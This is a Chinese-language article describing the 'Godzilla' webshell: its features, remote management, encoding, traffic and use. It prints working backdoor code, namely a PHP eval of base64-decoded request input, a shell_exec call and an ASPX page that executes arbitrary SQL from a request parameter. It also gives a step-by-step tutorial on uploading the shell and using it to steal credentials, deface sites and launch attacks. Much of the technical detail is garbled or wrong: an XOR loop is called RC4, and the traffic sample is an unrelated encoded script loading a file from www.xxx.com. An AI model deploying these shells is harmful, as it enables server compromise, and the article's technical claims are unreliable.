一、哥斯拉webshell特徵
哥斯拉webshell是一種常見的後門程序,它通常以ASP、PHP等網頁技術為基礎,用於對被攻陷的網站進行遠程管理和操控。它的特徵包括:
1、文件名一般以「Gozilla」、「Hacker」、「Webshell」等常見詞語為名。
<%if(--g){g=a+b;};\\文件名為Gozilla.asp <?php if (isset($_REQUEST['mr94'])) { eval(base64_decode($_REQUEST['mr94']));}?>\\文件名為hacker.php
2、常見的哥斯拉webshell會在代碼中使用Base64、RC4等加密方式,以增加攻擊者對代碼的控制。
$key = "chr";//RC4密鑰 $string = base64_decode($_POST["xxx"]);//解密 for ($i=0; $i<strlen($string); $i++) { $c = ord($key[$i % strlen($key)]); $string[$i] = $string[$i] ^ $c; \\RC4加解密 }
3、哥斯拉webshell的代碼中一般會有很多無用代碼,包括注釋、空格、換行等,是為了增加代碼的複雜度,防止被發現。
//注釋掉的代碼 /* $str = str_replace(array("\r\n", "\n", "\r"), '
', $str); */ //大量的空格和換行 $a=b+c; $d = $a + $b; $e = $d - $c;
二、哥斯拉webshell遠程管理
哥斯拉webshell可以通過管理頁面進行遠程操控,其遠程管理包括:
1、文件管理:可以對被攻陷的網站進行文件上傳、刪除、修改等操作。
//文件上傳 <form enctype="multipart/form-data" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="100000" /> 請選擇要上傳的文件: <br /> <input name="userfile" type="file" />
<input type="submit" value="上傳" /> </form>
2、資料庫管理:管理員可以通過哥斯拉webshell對網站後台資料庫進行操作。
//查詢資料庫 <?php $conn=mysqli_connect("localhost","username","password","database"); // Check connection if (mysqli_connect_errno()){ echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $result = mysqli_query($conn,"SELECT * FROM table"); while($row = mysqli_fetch_array($result)){ echo $row['name'] . " " . $row['age']; echo "
"; } mysqli_close($conn); ?>
3、系統管理:可以進行伺服器信息查看、進程管理、許可權提升、系統命令操作等。
//查看系統進程 <?php $output = shell_exec('ps aux'); echo "$output";
?>三、哥斯拉webshell加密
哥斯拉webshell在代碼中常常使用Base64、RC4等加密演算法,以防止別人惡意攻擊和篡改。
1、Base64加解密:
//加密 $str = base64_encode($str); //解密 $str = base64_decode($str);2、RC4加解密:
//加密 $key = "chr"; $string = 'hello world'; for ($i=0; $i<strlen($string); $i++) { $c = ord($key[$i % strlen($key)]); $string[$i] = $string[$i] ^ $c; } $string = base64_encode($string); //解密 $string = base64_decode($string); for ($i=0; $i<strlen($string); $i++) { $c = ord($key[$i % strlen($key)]); $string[$i] = $string[$i] ^ $c; } echo $string;//輸出"hello world"四、哥斯拉webshell作者
哥斯拉webshell的作者並不明確,但是由於其代碼常常出現在黑客攻擊中,被認為是黑客的創作。
五、哥斯拉webshell aspx
哥斯拉webshell也有適用於ASP.NET的版本,其代碼和功能與常見的ASP、PHP版本類似,使用方式和攻擊方式也相似。以下是一個簡單的ASP.NET版本哥斯拉webshell的代碼:
<%@ Page Language="C#" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Text" %> <% if (Request["cmd"] != null) {%> <%string cmd = Request["cmd"].ToString(); %> <%string sConn = "Data Source=(local);Initial Catalog=master;Integrated Security=True";%> <%System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(sConn);%> <%SqlCommand sqlcmd = new SqlCommand(cmd, conn);%> <%conn.Open();%> <%SqlDataReader dr = sqlcmd.ExecuteReader();%> <%StringBuilder str = new StringBuilder();%> <%while (dr.Read()) {%> <%for (int i = 0; i < dr.FieldCount; i++) {%> <%str.Append(dr[i].ToString()); %> <%} %> <%str.Append("<br/>"); %> <%} %> <%Response.Write(str);%> <% } else { %> <form method="post"> <input type="text" name="cmd" size="40" value="whoami" /> <input type="submit" value="執行" /> </form> <% } %>六、哥斯拉webshell流量分析
哥斯拉webshell的流量分析可以通過Wireshark等工具進行分析,以下是一段哥斯拉webshell流量分析的代碼和解讀:
POST /a/b/c/Gozilla.asp HTTP/1.1\r\n Host: www.xxx.com\r\n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Accept-Encoding: gzip, deflate\r\n Connection: close\r\n Referer: http://www.xxx.com/index.asp\r\n Upgrade-Insecure-Requests: 1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 172\r\n \r\n k3=<script>document.writeln(unescape('%3C%66%69%6C%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%78%78%78%2E%63%6F%6D%2F%63%2E%6A%73%22%20%3E%3C%2F%66%69%6C%65%3E'))</script>&password=&url=&login=&cmd=其中:
1、請求方式為Post。
POST /a/b/c/Gozilla.asp HTTP/1.1\r\n2、請求的目標文件名為Gozilla.asp。
POST /a/b/c/Gozilla.asp HTTP/1.1\r\n3、請求的內容為加密後的代碼,其中k3參數即為哥斯拉webshell的關鍵字。
k3=<script>document.writeln(unescape('%3C%66%69%6C%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%78%78%78%2E%63%6F%6D%2F%63%2E%6A%73%22%20%3E%3C%2F%66%69%6C%65%3E'))</script>&password=&url=&login=&cmd=七、哥斯拉webshell加密過程
哥斯拉webshell的加密過程通常使用Base64、RC4等加密演算法,以下是一段PHP版本哥斯拉webshell加密過程的代碼:
$key = "chr"; $string = 'hello world'; for ($i=0; $i<strlen($string); $i++) { $c = ord($key[$i % strlen($key)]); $string[$i] = $string[$i] ^ $c; } $string = base64_encode($string); echo $string;//輸出加密後的字元串 //解密過程:先Base64解密,再RC4解密八、哥斯拉webshell使用教程
哥斯拉webshell使用教程包括:如何獲取哥斯拉webshell、如何上傳哥斯拉webshell、如何連接和使用哥斯拉webshell進行攻擊等。以下是一種常見的哥斯拉webshell使用教程:
1、獲取哥斯拉webshell。
可以通過各種漏洞和手段獲取哥斯拉webshell,常見的方式包括利用SQL注入漏洞、文件上傳漏洞、遠程執行命令漏洞等方法。
2、上傳哥斯拉webshell。
將獲取到的哥斯拉webshell上傳至目標伺服器,可以通過FTP、Web管理頁、Web表單等方式進行上傳。
3、連接和使用哥斯拉webshell進行攻擊。
連接哥斯拉webshell並使用其遠程管理功能進行攻擊,包括在上傳後執行惡意代碼、獲取管理員賬號密碼、篡改網站內容、釣魚攻擊、DDoS攻擊等。
九、拿webshell
拿webshell是指攻擊者通過各種方式獲取到網站伺服器的許可權、管理員賬號密碼等,並上傳哥斯拉webshell等後門程序進入伺服器,以達到對網站的控制和操縱。拿webshell的常見方式包括利用漏洞、暴力破解、社會工程學、釣魚攻擊等。
十、webshell購買選取
哥斯拉webshell並非唯一一種webshell,有許多其他的webshell可供選擇,購買webshell也不是一件合法和道德的事情。在這裡,我們呼籲廣大網路參與者要遵守互聯網法律法規,不要從事任何危害國家和民族安全、社會穩定和他人利益的違法犯罪活動。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/249208.html